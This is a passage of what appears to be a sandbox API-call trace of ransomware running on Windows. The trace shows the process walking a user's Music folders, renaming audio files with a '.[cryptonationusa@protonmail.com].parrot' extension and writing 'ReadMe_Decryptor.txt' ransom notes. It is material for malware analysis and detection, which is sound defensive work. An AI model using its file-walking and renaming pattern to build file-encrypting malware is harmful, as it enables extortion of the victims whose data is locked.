| out: lpNewFilePointer=0xffffffff) returned 1 [0092.790] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.791] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.791] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9b46, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x9b46, lpOverlapped=0x0) returned 1 [0092.793] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.795] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\6vDsjmtR3C3Rq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\6vdsjmtr3c3rq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\6vDsjmtR3C3Rq.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\6vdsjmtr3c3rq.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.801] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.801] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.802] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.802] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2e0b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x2e0b, lpOverlapped=0x0) returned 1 [0092.803] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.804] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\a-emK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\a-emk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\a-emK.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\a-emk.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65c968 | out: hHeap=0x5b0000) returned 1 [0092.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d2a8 | out: hHeap=0x5b0000) returned 1 [0092.809] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.809] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.810] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.810] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaa72, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xaa72, lpOverlapped=0x0) returned 1 [0092.814] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.815] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\eC x8cp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\ec x8cp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\eC x8cp.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\ec x8cp.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65c968 | out: hHeap=0x5b0000) returned 1 [0092.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.822] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.822] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.823] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.823] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3ba4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x3ba4, lpOverlapped=0x0) returned 1 [0092.824] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.825] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\ynj_X.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\ynj_x.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\ynj_X.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\ynj_x.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65c968 | out: hHeap=0x5b0000) returned 1 [0092.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.827] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d2a8 | out: hHeap=0x5b0000) returned 1 [0092.829] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.829] ReadFile (in: hFile=0x26c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.830] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.830] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17ea3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0x17ea3, lpOverlapped=0x0) returned 1 [0092.834] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.838] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\_WCYplP4I6Xlg-0asg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\_wcyplp4i6xlg-0asg.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\_WCYplP4I6Xlg-0asg.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\sx4puo_hexu\\_wcyplp4i6xlg-0asg.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.841] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.841] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.841] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0092.847] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\Sx4PUO_HExu\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0092.847] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26d970f0, ftCreationTime.dwHighDateTime=0x1d5be3b, ftLastAccessTime.dwLowDateTime=0xc4a76e20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4a76e20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.849] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba730750, ftCreationTime.dwHighDateTime=0x1d5c19b, ftLastAccessTime.dwLowDateTime=0xb2de7f10, ftLastAccessTime.dwHighDateTime=0x1d5bdf9, ftLastWriteTime.dwLowDateTime=0xc49de8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x17078, dwReserved0=0x0, dwReserved1=0x0, cFileName="6FtVpVYIe6 Xp.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="6FTVPV~1.PAR")) returned 1 [0092.850] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0092.851] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ea4680, ftCreationTime.dwHighDateTime=0x1d5c5c8, ftLastAccessTime.dwLowDateTime=0xc49de8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc49de8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.853] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x836d9fe0, ftCreationTime.dwHighDateTime=0x1d5c01a, ftLastAccessTime.dwLowDateTime=0xc48fa060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc48fa060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFfPnIAskY8Q", cAlternateFileName="AFFPNI~1")) returned 1 [0092.853] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ee7b60, ftCreationTime.dwHighDateTime=0x1d5b8c3, ftLastAccessTime.dwLowDateTime=0xe032a3a0, ftLastAccessTime.dwHighDateTime=0x1d5b594, ftLastWriteTime.dwLowDateTime=0xc49201c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xe828, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeV75k7H_gpq.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MEV75K~1.PAR")) returned 1 [0092.853] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.853] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.854] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.855] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x155ef, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x155ef, lpOverlapped=0x0) returned 1 [0092.859] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.863] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\zyU9f32ss_U3aukZD12v.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\zyu9f32ss_u3aukzd12v.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\zyU9f32ss_U3aukZD12v.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\zyu9f32ss_u3aukzd12v.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65fe50 | out: hHeap=0x5b0000) returned 1 [0092.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.865] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.869] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.869] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.870] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.870] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x115bb, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x115bb, lpOverlapped=0x0) returned 1 [0092.878] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.882] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\_FAx.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\_fax.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\_FAx.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\_fax.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x664468 | out: hHeap=0x5b0000) returned 1 [0092.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.900] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x260 [0092.903] GetFileType (hFile=0x260) returned 0x1 [0092.904] GetLastError () returned 0xb7 [0092.905] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6d3b30, ftCreationTime.dwHighDateTime=0x1d5c108, ftLastAccessTime.dwLowDateTime=0xe35f0e0, ftLastAccessTime.dwHighDateTime=0x1d5ba4a, ftLastWriteTime.dwLowDateTime=0xe35f0e0, ftLastWriteTime.dwHighDateTime=0x1d5ba4a, nFileSizeHigh=0x0, nFileSizeLow=0x115bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="_FAx.wav", cAlternateFileName="")) returned 0 [0092.906] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0092.906] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ae200 | out: hHeap=0x5b0000) returned 1 [0092.906] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0092.909] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0092.909] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x529e0d0, ftCreationTime.dwHighDateTime=0x1d5b6c9, ftLastAccessTime.dwLowDateTime=0xc4ac30e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4ac30e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.910] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ab249d0, ftCreationTime.dwHighDateTime=0x1d5c473, ftLastAccessTime.dwLowDateTime=0x49b7ee80, ftLastAccessTime.dwHighDateTime=0x1d5b6e3, ftLastWriteTime.dwLowDateTime=0xc47c9560, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="1ax-w7ef.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="1AX-W7~1.PAR")) returned 1 [0092.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0092.910] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0092.911] lstrcmpW (lpString1="1ax-w7ef.wav.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0092.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x667818 [0092.911] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebe87a0, ftCreationTime.dwHighDateTime=0x1d5b772, ftLastAccessTime.dwLowDateTime=0x3e04f180, ftLastAccessTime.dwHighDateTime=0x1d5c130, ftLastWriteTime.dwLowDateTime=0xc47c9560, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="F-46y9ZHx.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="F-46Y9~1.PAR")) returned 1 [0092.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0092.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0092.911] lstrcmpW (lpString1="F-46y9ZHx.mp3.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0092.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x667910 [0092.911] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26efbc10, ftCreationTime.dwHighDateTime=0x1d5c2f1, ftLastAccessTime.dwLowDateTime=0x89d81b00, ftLastAccessTime.dwHighDateTime=0x1d5b8cf, ftLastWriteTime.dwLowDateTime=0xc4861ae0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="i4rVZv.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="I4RVZV~1.PAR")) returned 1 [0092.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0092.911] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0092.911] lstrcmpW (lpString1="i4rVZv.mp3.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0092.911] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x667a08 [0092.912] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47c9560, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xc47c9560, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4b0f3a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0092.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0092.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.912] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0092.912] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57ea4680, ftCreationTime.dwHighDateTime=0x1d5c5c8, ftLastAccessTime.dwLowDateTime=0xc49de8a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc49de8a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ubwrm", cAlternateFileName="")) returned 1 [0092.912] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9b6a880, ftCreationTime.dwHighDateTime=0x1d5b79e, ftLastAccessTime.dwLowDateTime=0xba6c2bf0, ftLastAccessTime.dwHighDateTime=0x1d5c37c, ftLastWriteTime.dwLowDateTime=0xc4a9cf80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x15708, dwReserved0=0x0, dwReserved1=0x0, cFileName="zyU9f32ss_U3aukZD12v.mp3.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ZYU9F3~1.PAR")) returned 1 [0092.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0092.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c068 | out: hHeap=0x5b0000) returned 1 [0092.912] lstrcmpW (lpString1="zyU9f32ss_U3aukZD12v.mp3.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0092.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x652128 